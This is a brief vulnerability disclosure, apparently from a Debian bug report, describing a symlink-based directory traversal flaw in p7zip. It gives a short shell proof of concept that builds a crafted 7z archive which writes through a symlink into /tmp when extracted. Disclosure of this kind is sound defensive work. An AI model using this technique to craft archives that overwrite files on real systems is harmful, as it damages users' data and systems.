It was reported [1] that p7zip suffers from a directory traversal flaw. This could for the overwriting of arbitrary files through uncompressing a crafted archive, with the privileges of the user running 7z. For example:

$ ln -s /tmp foo $ 7z a test.7z foo $ rm foo $ mkdir foo $ echo hello > foo/test $ 7z a test.7z foo/test $ rm -rf foo $ 7z x test.7z

This will create 'foo' as a symlink to /tmp which will in turn contain the file 'test' with the privileges of the user unarchiving 'test.7z'.

[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774660